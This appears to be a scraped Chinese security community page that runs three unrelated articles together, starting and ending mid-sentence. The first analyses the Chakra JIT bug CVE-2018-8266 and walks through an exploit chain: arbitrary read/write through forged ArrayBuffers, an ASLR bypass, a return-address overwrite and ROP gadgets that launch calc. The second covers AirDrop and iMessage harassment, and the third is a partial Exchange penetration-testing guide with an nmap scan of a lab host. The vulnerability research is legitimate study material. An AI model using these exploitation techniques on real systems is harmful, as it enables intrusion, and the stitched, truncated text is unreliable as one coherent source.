Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。
微信公众号：360cert | 社区文章 |
# Chakra漏洞（CVE-2018-8266）漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 银雁冰@猎影实验室
推荐语：作为曾经的微软主力JS引擎，Chakra在其短暂的生命周期中为我们留下了许多经典漏洞，本文我们一起来看一个Chakra引擎的JIT漏洞。
## 前言
虽然微软已经在新版Edge浏览器中弃用Chakra引擎，但作为曾经的微软主力JS引擎，Chakra在其短暂的生命周期中为我们留下了许多经典JS漏洞，这些案例是学习脚本引擎漏洞非常不错的资料。本文我们一起来看一个Chakra引擎的JIT类型混淆漏洞。
## 漏洞复现
Bruno Keith在《Attacking Edge through theJavaScript
compiler》这篇paper中给出了该漏洞的PoC。为便于观察，我们对其稍加改动，调试所用Poc如下。
漏洞调试的第一步有两个关键要素：能复现问题的样本和能复现问题的环境，上面已经有了样本，接下来需要搭建能复现漏洞的环境。
首先在ChakraCore项目中搜索当前漏洞的CVE号：
随后定位到该漏洞补丁对应的commit：
接着选取一个补丁之前的版本，这里最终选取的是d1dc14版本(Bruno
Keith指出的版本)。许多文章中一般只会提及所需ChakraCore版本对应的sha1，如果遇到这种情况，可以直接替换下面链接中的sha1进行下载：
* <https://github.com/microsoft/ChakraCore/tree/sha1>
下载完成后，需要编译生成可供调试的二进制文件，ChakraCore原生支持VS编译，这里采用VS2015编译，编译选项为x64+release。编译完成后，在如下相对路径会生成相关二进制文件(如需生成IR等中间代码，请编译为Debug版本)：
Build\VcBuild\bin\x64_release
我们主要关注ch.exe(用于加载ChakraCore.dll)和ChakraCore.dll(漏洞模块)。
现在已经有了复现问题的环境，将ch.exe设为启动项目，并在”属性->调试->命令行参数”配置PoC文件全路径，启动调试，可以观察到如下异常：
为了进一步定位问题，接下来我们采用Windbg Preview的TTD(Time Travel
Debugging)进行调试，TTD调试的一个好处是可以在不用重启调试器的情况下进行反向回溯。
安装完Windbg Preview后，首先在界面上设置一下源码路径和符号路径：
接着用管理员权限启动调试器，进行TTD文件路径等基本设置，点击Record开始调试，此过程中如果出现弹窗，请不要点cancel，否则TTD调试将终止。
脚本执行完毕后，在调试器中观察到和VS中相同的崩溃点：
## 定位成因
从上一小节最后一张截图中我们可以看到崩溃时rax被当做指针来寻址，出问题的rax取自rdi，看一下rdi里面存了什么：
似乎一个DynamicObject对象的auxSlots指针被覆写为了一个非预期值，而且这个非预期值来PoC。
接下来借助TTD回溯auxSlots对应的内存地址是在前面何时被改写的：
可以看到前一次改写这个地址处的数据是在JIT代码中，紧接着往前回溯一条指令，我们来看一下改写前此处是什么：
而0x2337、2这两个整数此时仍Inline存储在DynamicObject中。
此时回头看一下PoC，注意到数字1、2、3、4、5、0x1337、0x2337都是PoC里面设置的属性值。
为什么上述DynamicObject对象的5个属性会变成这种两头存储的状态？
为了回答这个问题，首先要理解DynamicObject对象的属性存储方式，关于这部分更多的细节可以参考《AttackingEdge through the
JavaScript compiler》。这里仅借助ChakraCore源码中对auxSlots的注释进行说明：
以上注释对应的源码文件：
lib\Runtime\Types\DynamicObject.h
可以看到此时auxSlots对应的情况似乎是(#2)，接下来我们再次往前回溯，看再前面一次修改auxSlots对应地址处的操作在什么时候？
观察一下堆栈，可以看到这次改写auxSlots是由OP_SetProperty操作码引发的：
继续利用刚才的内存写入断点，再往前回溯一次，查看相关对象的内容：
可以看到此时对应的auxSlots的情况对应上面注释中的(#3)。
现在我们来正向推演一下上述几次auxSlots的变化情况，如下图所示：
到这里已经比较明显了，在执行PoC中的下面这句JS代码时，有几处关键操作：
opt({a:1, b: 2, c: 3, d: 4});
1).对象o对应的DynamicObject的属性存储方式存在一次布局转变，在转变前后布局从(#3)变为(#2)；
2).在下一次访问auxSlots时，正常逻辑应该是以(#2)的方式去解引用对应地址的auxSlots指针，然后将0x1337这个值写入auxSlots地址处的第一个8字节。然而JIT代码显然没有意识到这一点，还在以(#3)的形式进行访问，从而意外改写了auxSlots指针(并且这个指针在PoC中可控)；
3).在最后一次访问auxSlots时，代码逻辑以(#2)的方式访问auxSlots，并试图往auxSlots指针内写入一个值，从而导致崩溃。
以上仅以调试器视角审视了漏洞成因，漏洞的实际触发逻辑中与ChakraCore的JIT执行流程、ObjectHeaderInlined、符号更新机制、属性赋值、类型检查都存在关系，关于这方面的更多细节可以参考《AttackingEdge
through the JavaScript compiler》。
## 利用编写
这个漏洞给了我们非常好的一个任意地址写入能力，Bruno Keith已经在《Attacking Edge through theJavaScript
compiler》介绍了这个漏洞的利用思路，并在网上公开了相关利用代码。接下来我们尝试在ChakraCore模拟器内复现一下这个漏洞的利用过程，并对其中的一些要点进行说明。
我们的目的是要借助该漏洞实现任意地址读写原语(当然也可以实现任意对象地址泄露和任意地址对象伪造两个原语)，继而实现RCE。
如何将一个任意auxSlots指针写入能力转换为任意地址读写？Bruno的思路是先借助上述
2)将一个布局为(#1)的DynamicObject(简称obj)对象写入auxSlots，然后借助3)将obj对象的auxSlots域改写为一个ArrayBuffer对象。为什么可以实现这一步？从上面的调试结果我们可以看到崩溃时尝试将一个可控值写入异常auxSlots指针的偏移+0x10处，如果这个异常auxSlots被改写为一个属性非Inline的DynamicObject对象(ArrayBuffer继承自这一对象)，那么偏移+0x10处即为auxSlots。
经过上述操作，接下来obj对象属性的修改就直接作用到了ArrayBuffer对象。我们就可以改写ArrayBuffer对象内的一些成员，比如它的buffer和bufferLength：
但此时我们仍无法将上述ArrayBuffer的buffer转换为完全可控的地址，聪明的Bruno提出可以将buffer设置为第二个ArrayBuffer对象，这样，通过操作第一个ArrayBuffer的buffer(借助一些Typed
Array即可实现)，我们可以完全控制第二个ArrayBuffer的元数据，包括buffer和bufferLength。这样：
a). 我们可以通过obj设置第一个ArrayBuffer的buffer；
b).
借助a)，我们可以将第一个ArrayBuffer的buffer设置为第二个ArrayBuffer，并且可以修改第一个ArrayBuffer的bufferLength为合适的值；
c). 借助Typed
Array，我们可以将第一个ArrayBuffer的buffer(即使它已经被伪造)的偏移+0x38处设为任意地址，特别地，与b)结合，我们可以将第二个ArrayBuffer的buffer设置为任意地址；
d). 借助Typed
Array，我们可以读/写第二个ArrayBuffer的buffer(即使它已经被伪造)，与c)结合，我们可以构造出任意地址读写原语。
上述对象关系如下：
通过上述c)的思路可以读取第二个ArrayBuffer偏移+0x00处的ArrayBuffer虚表指针，继而得到ChakraCore.dll的基地址，从而绕过了ASLR。
有了任意地址读写原语后，接下来的操作就比较常规了，在真实的Edge环境上，由于CFG和ACG这两个缓解措施的存在，我们需要覆盖栈上的返回地址绕过CFG，并借助纯ROP操作绕过ACG：
ⅰ). 找到一个栈上的返回地址并覆盖之，使控制流导向我们控制的ROP gadget；
ⅱ). 伪造一个函数栈，通过ROP gadget将RSP寄存器的值切换至伪造栈；
对于ⅰ)，已经有不少前辈提过定位JS函数栈的方法，比如Ivan Fratric、Henry Li，Minkyo Seo等，pwn.js里面也有源码。
这里我们采用寻找ChakraCore!ThreadContext::globalListFirst全局变量这一方式，这个地址存储着一个8字节的ThreadContext对象，ThreadContext对象的偏移0xc8处为stackLimitForCurrentThread，借助它即可以定位到JS函数栈。调试器中的相关结构体如下(不同版本ChakraCore中相关结构体偏移不一样，这里以本文调试版本为例)：
需要指出的是，在ch.exe加载ChakraCore.dll的模拟器内，我们可以很容易通过上述过程定位到JS栈地址，但在对实际环境中的Chakra.dll进行试验时，这种方式不一定适用。真实环境中往往需要借助Herry
Li在《How to find the vulnerability to bypass the Control Flow
Guard》内提到的方法，并且由于微软给的符号里面无法使用dt命令获取完整的结构体信息，需要通过逆向去定位具体成员的偏移，难度比模拟器大。
找到栈地址后，在调试器里面选一个比较适合的返回地址(本次选择了ChakraCore!JsRun)，计算出相对偏移后，即可在代码中通过搜索栈上数据进行定位，将其覆写为第一个ROP
gadget的地址，并将紧邻的8字节覆写为伪造栈的地址，其余gadget在伪造栈中进行构造。ROP方面，第一个gadget如下:
// 5C5B 5D C3
pop rsp
pop rbx
pop rbp
ret
伪造栈上的几个gadgets如下：
// 59 C3
pop rcx
ret
// 5A C3
pop rdx
ret
// 5C C3
pop rsp
ret
伪造栈上的执行逻辑为用WinExec弹出一个计算器。
我们来观察一下Stack Pivot前的寄存器信息：
经过第一个gadgets的执行，rsp寄存器被切换到伪造栈。来看最后一个gadget执行后的情况：
最终，我们在ChakraCore.dll引擎模拟器上借助覆盖栈上的返回地址，并且通过完全ROP的方式弹出一个计算器：
## 补丁分析
这个漏洞的补丁可以在ChakraCore的官方commit中找到，可以看到补丁代码中在关键地方设置了类型检查，并调整了一些符号更新的相关逻辑，以确保之前发生混淆的过程不会再发生。有兴趣的读者可以自行进行源码调试。
## 参考资料
* 《Attacking Edge through the JavaScript compiler》By Bruno Keith
* 《A tale of Chakra bugs through the years》By Bruno Keith
* 《Using the JIT vulnerability to Pwning Microsoft Edge》 By Herry Li
* 《How to find the vulnerability to bypass the ControlFlow Guard》 By Herry Li
* 《CVE-2019-0539 Root Cause Analysis》By Rom Cyncynatus andShlomi Levin
* 《CVE-2019-0539 Exploitation》By Rom Cyncynatus andShlomi Levin
* 《Microsoft Edge Chakra JIT Engine Attack Surface》By Elliot Cao
* 《Microsoft Edge: Chakra：incorrect JIT optimization withTypedArray setter CVE-2017-8548》By Minkyo Seo
* 《From Zero To Zero Day》By Jonathan Jacobi
* 《1-Day Browser & Kernel Exploitation》By @theori-io | 社区文章 |
# 你的"苹果"可能有毒！变身“搭讪”利器，被“黑化”的AirDrop
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
荷兰第三方研究与咨询公司Newzoo去年的一份调查报告显示，全球有7.3亿部iPhone正在使用中，占全球人口的1/10，这还没算上iPad、Mac、Apple
Watch等产品线限量。作为全球智能终端设备的标杆，在人们越来越依赖苹果产品所带来便利的同时，频发的安全、骚扰事件，让我们手中的“苹果”变成了定时炸弹……
Britta Carlson在地铁遭遇“Cyber flashing”
## 1\. AirDorp变身“Cyber flashing”
AirDrop（隔空投送）是苹果公司iOS和Mac
OS系统下特有的新功能，用于在多台设备之间分享文件。在2013年WWDC大会上，AirDrop来到iOS设备。
传输速率20Mb/s左右，AirDrop逆天效率
对于苹果用户而言，简直是搬砖、学习、看片娱乐之神器。但是，就在上周，Magiccc第一次在朋友圈看到这个：
来自陌生人的善意提醒
维基百科上，对“Cyber flashing”的解释：一种犯罪行为，涉及通过AirDrop向陌生人发送淫秽图片。该术语也适用于完全通过蓝牙执行的相同操作
AirDorp“骚扰”在国外频发，全球第一起“Cyber
flashing”案件，发生在2015年8月13日的伦敦市，一位女性通勤者被同一列火车上班的陌生人通过AirDrop，发送了几张生殖器照片。
目前Magiccc在网络渠道暂未搜寻到国内“Cyber flashing”案件，但在微博、豆瓣等平台“来自陌生人的善意提醒”开始出现：
还是豆瓣粉们会玩儿
显然大家对此“善意的骚扰”的态度还比较平和，甚至演变成撩汉撩妹神器，大有替代“摇一摇”之势……
AirDorp的确很好用，甚至已不是一个简单的应用工具，而成为大家工作生活中不可或缺的随身助手。从文件的传输，到现在频繁的文件传递、信息交互，在手机和移动办公中，AirDorp占据着越来越重要的位置。
但是，但Magiccc还是不得不泼盆冷水。如今地铁已经出现AirDorp“骚扰”，那么“Cyber
flashing”的出现也只是时间问题，甚至可能已经发生，只是暂未被曝光。更加严重的是，针对企业以及个人敏感信息，面对移动网络中众多的文件和联系人，一旦误发、错发、传输内容被劫持，将会导致关键信息被泄露，后果将会非常严重！
## 2\. iMessage—“即时通讯之王”沦为鸡肋
iMessage是苹果为iOS 5提供的一项跨设备网络短信服务，它可以让iPad、iPod
Touch这样没有捆绑手机号的设备和iPhone进行即时通讯，可以发送文字、图片、视频，基本上就是短信的功能体验。
而就在5年前，业界普遍认为，imessage对QQ会造成很大影响。 时任华影盛视CEO的赵雨润认为，苹果没有把腾讯放眼里。因为腾讯只是中国的，苹果是全球的。
的确，在“即时通讯”这块，iMessage被苹果寄予厚望。为了强化社交趣味性，苹果公司在去年上线了内置表情包系统“Animoji”，用户可以录下音频以及表情，“Animoji”会根据面部动作来定制动态表情，用户直接通过iMessage进行分享。
魔性的animoji
但是，iMessage给大家留下更多印象的还是，包含赌场、博彩广告，开发票广告、色情影片推荐、贷款、刷单、贩卖高仿A货、药物等内容的垃圾短信。emmmmmm……这个Magiccc写过揭秘
| 2亿苹果用户的魔咒，澳门威尼斯人短信背后的黑产帝国，大家对此深恶痛绝的程度，百度一下便可知：
iMessage几乎快跟垃圾短信划等号
对此，Magiccc曾经通过AppleCare，花了整整10分钟跟苹果干涉，但是人家表示，我们理解你的烦恼，但是我们也很无奈。但是，里面有个很关键的问题，大家的appleID又是怎么泄露的呢
？
另外，自从苹果将恩服务器搬到国内的云上贵州之后呢（云上贵州是啥，查查呗 ），很多用户就反映了相关的垃圾短信以及骚扰信息是越来越多……
苹果官方给到媒体的反馈是，正在探索更多的办法以进一步减少垃圾信息，包括采用更先进的机器学习模型识别垃圾信息，以及推出更多的工具来阻止恶意发件账号。并且，苹果公司正在跟国内运营商接触，并探索其他可采取的方法来减轻垃圾信息带来的困扰。
而对此，用户的反馈是：
> @蒋之旸 : 关闭短信的im信息就没了。
>
> @笑笑ai喵喵 : 每次都提示是否报告垃圾信息，但报告完后似乎也没什么用
>
> @水上行周 : 注册一个国外的账号
>
> @锡金 : 随时都是澳门赌场，我说怎么发过来的。又拦截不了
>
> @Im黄小杰 : 每年都会提供解决方案
>
> @宇文古乐 : 自从苹果把服务器迁到了云上贵州，广告就多了
>
> @疯癫篮球 : 云上贵州竭诚为您提供优质的垃圾短信服务
>
> @新什么衣 : 云上贵州后，经常收到这种信息！
>
> @六六六个馒头 : 怎么解决呀 说了这么多
>
> @薛定谔的汪汪汪汪汪 : 云上贵州真棒
## 3\. FaceTime之惊魂一呼
乔布斯在2010年推出FaceTime，作为苹果公司iOS和Mac OS X内置的一款视频通话软件，FaceTime可以通过Wi-Fi或者蜂窝数据接入互联网，在两个装有FaceTime的设备之间实现视频通话。
FaceTime在国外使用频率甚至比国内微信视频通话还要高，而在国内，也是异地甚至跨洋沟通的利器。但是还是逃脱不掉“黑化”的风险：
网上所谓的”盗取银行卡信息“”锁屏“已有辟谣
不知道大家有没有这种经历，在全神贯注做件啥事的时候，手机突然显示：
Magiccc就遇到过，不敢接
但有，中国从来都不缺壮士，真有人接了，然后画风突变：
博彩多金，套路多
媒体表示，八年前，乔帮主推出FaceTime那会，就承诺要将Facetime开源，允许其他公司和智能手机制造商采用。现如今FaceTime却仍然是封闭的，只能在苹果的系统中使用。现在想想，要不开源试试，让安卓玩家也体验下……
## 4\. 不堪其扰？关闭保平安
因为苹果官方暂时也没啥好办法，所以包括媒体、警方以及其他第三方给出的解决方案就是关闭以上功能。
当然，鹅厂的手机管家据说针对iMessage的垃圾短信特别好使，目前Maigccc只开放了垃圾电话拦截，短信过滤暂时还没开启，现在短信验证码的内容也是越来越骚，哪天来个误过滤，搞不好就错过几个亿……
终上所述，Magiccc目前也没有太好的建议，所以，大家要不还是按照如下操作，关闭保平安：
关iMessage
关FaceTime
关AirDrop
更多黑产爆料内容，请关注微信公众号“极验”。 | 社区文章 |
**作者：斗象能力中心 TCC – Cody
来源：[https://blog.riskivy.com/exchange-server-in-pentest/?from=timeline&isappinstalled=0](https://blog.riskivy.com/exchange-server-in-pentest/?from=timeline&isappinstalled=0)**
**前言：**
在渗透测试中，往往会遇到企业内网环境中使用的一些常用组件，这些组件对内或对外提供了服务与接口，也给渗透测试人员与黑客提供了新的可尝试的攻击面，合理的利用组件服务提供的功能和接口，可以帮助渗透测试人员完成信息收集、环境侦测，甚至通过其漏洞弱点、配置缺陷、功能滥用直接拿下权限，在渗透测试与后渗透阶段达到事半功倍的效果。
Windows Exchange
Server，应该是国内外应用都非常广泛的邮件服务器了，本文将围绕Exchange展开，介绍在渗透测试中对Exchange服务器的攻击利用。
正式开始之前，我们先对Exchange相关的一些概念与基础知识进行梳理简介，便于对Exchange有简单初步的了解。
**本文实验环境:**
* 域环境：fb.com
* 域控：10.0.83.93，masterdc，Windows 2012 R2
* Exchange服务器：10.0.83.94，test2k12，Windows 2012 R2，安装Exchange Server 2013 SP1
* 域内工作机：10.0.83.80，testwin7，Windows 7，安装Outlook 2013 SP1
## **一、初识Exchange**
> Microsoft Exchange Server is a mail server and calendaring server developed
> by Microsoft. It runs exclusively on Windows Server operating systems. ——
> wikipedia
如维基百科对Exchange
Server的描述，Exchange是由微软推出的用于企业环境中部署的邮件服务器。微软对外发布的第一个Exchange版本是Exchange
4.0，最开始Exchange使用X.400目录服务，随后转向使用微软的活动目录，最开始的时候微软还提供了Microsoft Exchange
Client，即Exchange邮件客户端，随后被Outlook取代，时至今日，微软已经发布了10个大版本号的Exchange，今年10月份，微软推出了最新版本的Exchange
Server 2019。在不同的企业环境中部署使用的Exchange版本不一，各版本提供的架构、功能、服务、接口都各有不同，本文将以Exchange
Server 2013为例展开叙述。
Exchange Server是一种本地化部署的形式，除此之外还有以SaaS的在线服务模式，这两种部署模式即各种文档或资料中常说的Exchange On-premise和Exchange Online，另外，Exchange还支持本地化部署与云端部署共存的部署方式，即混合部署（Exchange
Hybrid）。
### **1.邮件服务器角色（Server Role）**
Exchange是一个功能完整而庞大的邮件服务器，实际上Exchange背负的不仅仅是传统的邮件收发处理、邮件路由等基本的邮件功能，在微软背景下Exchange与活动目录域服务、全局编排目录及其他微软相关服务和组件也有着众多联系。Exchange邮件服务器在企业环境中使用占比非常高，其通过划分不同的服务器角色、执行各自的组件和服务以及相互之间的依存调用使得邮件处理形成一个强大、丰富、稳定、同时又复杂的过程。Exchange在逻辑上分为三个层次：网络层（network
layer）、目录层（directory layer）、消息层（messaging layer），服务器角色正是在消息层上的一个细分。
Exchange Server 2013包含三个服务器角色，我们往前推进一个版本到Exchange Server
2010，来介绍Exchange服务器角色的演变和功能简述。
Exchange Server 2010包含五个服务器角色，分别是邮箱服务器（mailbox server）、集线传输服务器（hub transport
server）、客户端访问服务器（client access server）、边缘传输服务器（edge transport
server）、统一消息服务器（unified messaging
server），除了边缘传输服务器以外其他角色都可以在同一台主机上进行部署添加，其中邮箱服务器、集线传输服务器、客户端访问服务器是核心服务器角色，部署这三个角色就能提供基本的邮件处理功能。
* **邮箱服务器（mailbox server）** ：该角色是提供托管邮箱、公共文件夹以及相关的消息数据（如地址列表）的后端组件，是必选的服务器角色。
* **客户端访问服务器（client access server）** ：接收和处理来自于不同客户端的请求的中间层服务器角色，该角色服务器提供了对使用不同协议进行访问的支持，每个Exchange环境中至少需要部署一个客户端访问服务器，客户端访问服务器提供了对以下不同接口访问Exchange服务器的处理。
MAPI访问
POP3和IMAP4访问
Outlook Web App访问（OWA）
Outlook Anywhere访问
Autodiscover自动发现服务
可用性服务
* **集线传输服务器（hub transport server）** ：或称中心传输服务器，该服务器角色的核心服务就是Microsoft Exchange Transport，负责处理Mail Flow（这又是Exchange中的一大知识点，Exchange管理员需要通过MailFlow实现邮件出站与进站配置）、对邮件进行路由、以及在Exchange组织中进行分发，该服务器角色处理所有发往属于本地邮箱的邮件和发往外部邮箱的邮件，并确保邮件发送者和接收者的地址被正确解析并执行特定策略（如邮件地址过滤、内容过滤、格式转换等），同时，还可以进行记录、审计、添加免责声明等，正如Hub transport的含义，该服务器角色相当于一个邮件传输的中继站点，每个Exchange环境中至少需要部署一个集线传输服务器。
* **统一消息服务器（unified messaging server）** ：将专用交换机（private branch exchange/PBX） 和Exchange Server集成在一起，以允许邮箱用户可以在邮件中发送存储语音消息和传真消息，可选角色。
* **边缘传输服务器（edge transport server）** ：该服务器角色作为专用服务器可以用于路由发往内部或外部的邮件，通常部署于网络边界并用于设置安全边界。其接受来自内部组织的邮件和来自外部可信服务器的邮件，然后应用特定的反垃圾邮件、反病毒策略，最后将通过策略筛选的邮件路由到内部的集线传输服务器，可选角色。
在Exchange Server
2013中，服务器角色精简为三个，分别是邮箱服务器、客户端访问服务器和边缘传输服务器，其中邮箱服务器角色和客户端访问服务器角色通常被安装在同一台服务器中。
* **邮箱服务器** ：负责认证、重定向、代理来自外部不同客户端的访问请求，主要包含客户端访问服务（Client Access service）和前端传输服务（Front End Transport service）两大组件。
* **客户端访问服务器** ：托管邮箱、公共文件夹等数据，主要包含集线传输服务（Hub Transport service）和邮箱传输服务（Mailbox Transport service）两大组件服务。
* **边缘传输服务器** ：负责路由出站与入站邮件、策略应用等。
在Exchange Server 2016和2019中，只有两种服务器角色，分别是邮箱服务器和边缘传输服务器，所有关键角色和组件都融入到邮箱服务器中。
### **2.客户端/远程访问接口和协议**
邮件通信分为邮件发送和邮件接收，其中邮件发送使用统一的通信协议，即SMTP，而邮件的收取则有多种协议标准，如由早期的POP发展至今的POP3，如今使用广泛的IMAP，Exchange开发了私有的MAPI协议用于收取邮件，较新版本的Outlook通常使用MAPI与Exchange进行交互，除此之外早期的Outlook还使用称为Outlook
Anywhere的RPC交互。下面介绍Exchange提供支持的访问接口和协议。
**Outlook Web App（OWA）**
Exchange提供的Web邮箱，地址通常为 <http://DOAMIN/owa/>
**Exchange Administrative Center（ECP）**
Exchange管理中心，管理员用于管理组织中的Exchange的Web控制台，地址通常为 <http://DOMAIN/ecp/>
**Outlook Anywhere（RPC-over-HTTP，RPC/HTTP）**
前身为RPC-over-HTTP，随后在Exchange 2007和Exchange 2010中被重命名为Outlook Anywhere。RPC-over-HTTP是在Exchange
2003被提出的，在此之前，外网用户使用Exchange邮箱需要先通过VPN连接到企业内部网络中，随后微软在Outlook中推出新特性Outlook
Anywhere，外网用户可以直接通过Outlook
Anywhere连接使用Exchange邮箱而无需使用VPN，内网用户则通过RPC协议连接使用Exchange。从Exchange
2013开始，Outlook不再区分内外网环境，统一使用Outlook Anywhere，同时，不需要开放单独的RPC端口。Outlook
Anywhere在Exchange Server 2013中默认开启。
在Outlook中使用RPC-over-HTTP的连接方式连接Exchange（在协议中显示为RPC/HTTP）：
**MAPI（MAPI-over-HTTP，MAPI/HTTP）**
一种Outlook与Exchange交互的新的传输协议，于Exchange 2013 SP1和Outlook 2013 SP1中被提出。
在Outlook中使用MAPI-over-HTTP的连接方式连接Exchange（在协议中显示为HTTP）：
**Exchange ActiveSync（EAS，XML/HTTP）**
ActiveSync是一种允许用户通过移动设备或其他便携式设备访问和管理邮件、联系人、日历等Exchange功能的同步协议，在Windows上使用时其进程名称为wcesomm.exe。
**Exchange Web Service（EWS，SOAP-over-HTTP）**
Exchange提供了一套API编程接口可供开发者调用，用于访问Exchange服务器，与邮件、联系人、日历等功能进行交互和管理操作，在Exchange
Server 2007中被提出。微软基于标准的Web Service开发EWS，EWS实现的客户端与服务端之间通过基于HTTP的SOAP交互。
### **3.Exchange功能和服务**
**自动发现（Autodiscover）**
Autodiscover自动发现是自Exchange Server
2007开始推出的一项自动服务，用于自动配置用户在Outlook中邮箱的相关设置，简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中，通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。自动发现服务运行于客户端访问服务器（Client
Access Server）上，其实质是Outlook客户端通过LDAP查询、DNS查询等，连接到指定域的Exchange的客户端访问服务器（Client
Access Server）上。
自动发现的过程首先需要获取自动配置文件，然后根据配置文件进行连接和配置，获取自动配置文件的过程不展开细说了，简单来说它将找到提供自动发现服务的客户端访问服务器、访问/autodiscover/autodiscover.xml获得配置文件。
这里有个关键地方，即正确配置DNS解析，使得Outlook客户端不管是在域环境主机上还是外部网络环境，都可以正确找到自动发现服务所在的服务器。
配置名称autodiscover指向客户端访问服务器：
配置autodiscover的SRV记录：
域用户在加入域的主机上使用Outlook自动发现功能：
域用户在工作组主机上使用Outlook自动发现功能：
**全局地址列表（GAL）**
地址列表（Address
List）记录了用户在域活动目录中的基本信息和在Exchange中的邮箱地址，用于将用户在活动目录中的属性对象与邮件地址形成关联。在Exchange中管理员可以创建不同的地址列表，用于方便管理维护组织，也方便邮箱用户通过地址列表查找特定的联系人邮箱，Exchange默认会创建一些内置的地址列表，其中包含了一个Default
Global Address List（默认全局地址列表），所有邮箱用户都会被加入到这个地址列表中。
下面，我们进入正题
这里我们将会用到两个知名度最高的Exchange利用工具，一个是Sensepost用Go实现的与Exchange进行命令行交互的工具Ruler，Ruler可以通过RPC/HTTP或者MAPI/HTTP的方式与Exchange进行交互，只要拥有合法的用户凭证，就可以利用Ruler执行一系列的信息侦察、定向攻击等操作。另一个是Powershell实现的MailSniper，主要用于后渗透阶段的一些信息收集和获取。关于工具的详细介绍与用法可以去Github跟Freebuf上自行查找。
## **二、发现Exchange**
在渗透测试中，当进行信息收集与环境侦察时，发现与识别Exchange及其相关服务，可以有多种方法与途径，或者说，当你在执行一些端口扫描、名称查询等过程时，当发现如下举例的一些迹象和扫描结果时，你应该意识到，该环境中可能存在Exchange组件。
### **1.端口与服务**
Exchange的正常运行，如上一章节所列举的，需要多个服务与功能组件之间相互依赖与协调，因此，安装了Exchange的服务器上会开放某些端口对外提供服务，不同的服务与端口可能取决于服务器所安装的角色、服务器进行的配置、以及网络环境与访问控制的安全配置等。通过端口发现服务，来识别确认服务器上安装了Exchange，是最常规也是最简易的方法。如下是执行了一次端口扫描的结果报告。
root@kali:~# nmap -A -O -sV -Pn 10.0.83.94
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-24 14:14 CST
Nmap scan report for 10.0.83.94
Host is up (0.00043s latency).
Not shown: 974 filtered ports
PORT STATE SERVICE VERSION
25/tcp open smtp Microsoft Exchange smtpd
| smtp-commands: test2k12.fb.com Hello [10.0.83.11], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XRDST,
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info:
| Target_Name: FB
| NetBIOS_Domain_Name: FB
| NetBIOS_Computer_Name: TEST2K12
| DNS_Domain_Name: fb.com
| DNS_Computer_Name: test2k12.fb.com
| DNS_Tree_Name: fb.com
|_ Product_Version: 6.3.9600
|_ssl-date: 2018-12-24T06:17:42+00:00; +49s from scanner time.
80/tcp open http Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: 403 - \xBD\xFB\xD6\xB9\xB7\xC3\xCE\xCA: \xB7\xC3\xCE\xCA\xB1\xBB\xBE\xDC\xBE\xF8\xA1\xA3
81/tcp open http Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: 403 - \xBD\xFB\xD6\xB9\xB7\xC3\xCE\xCA: \xB7\xC3\xCE\xCA\xB1\xBB\xBE\xDC\xBE\xF8\xA1\xA3
……
465/tcp open smtp Microsoft Exchange smtpd
| smtp-commands: test2k12.fb.com Hello [10.0.83.11], SIZE 36700160, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH GSSAPI NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, XRDST, XSHADOWREQUEST,
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info:
| Target_Name: FB
| NetBIOS_Domain_Name: FB
| NetBIOS_Computer_Name: TEST2K12
| DNS_Domain_Name: fb.com
| DNS_Computer_Name: test2k12.fb.com
| DNS_Tree_Name: fb.com
|_ Product_Version: 6.3.9600
|_ssl-date: 2018-12-24T06:17:37+00:00; +49s from scanner time.
587/tcp open smtp Microsoft Exchange smtpd
| smtp-commands: test2k12.fb.com Hello [10.0.83.11], SIZE 36700160, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, AUTH GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING,
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info:
| Target_Name: FB
| NetBIOS_Domain_Name: FB
| NetBIOS_Computer_Name: TEST2K12
| DNS_Domain_Name: fb.com
| DNS_Computer_Name: test2k12.fb.com
| DNS_Tree_Name: fb.com
|_ Product_Version: 6.3.9600
|_ssl-date: 2018-12-24T06:17:39+00:00; +49s from scanner time.
……
2525/tcp open smtp Microsoft Exchange smtpd
| smtp-commands: test2k12.fb.com Hello [10.0.83.11], SIZE, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, XRDST, XSHADOWREQUEST,
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2018-12-24T06:17:48+00:00; +50s from scanner time.
……
80端口上的IIS、25/587/2525端口上的SMTP，及其其上详细的指纹信息，可以帮助我们确定该主机上正运行着Exchange服务。
### **2.SPNs名称查询**
端口扫描是信息收集阶段最常用的手段，端口扫描通过与目标主机之间的TCP/UDP协议交互，根据返回的各种信息判断端口开放情况和服务软件，这需要直接的与目标主机进行通信，且往往会产生规模较大的流量通信。除了端口扫描之外，对于熟悉内网渗透的同学来说，通过SPN来发现服务应该也是必备伎俩了，这种方法在Windows环境中尤其有效，因为其不需要与各个主机进行通信，而是通过已有的普通用户权限，查询活动目录数据库，枚举得到SPN，从而获知各个主机上运行着哪些服务应用。
SPN（Service Principal
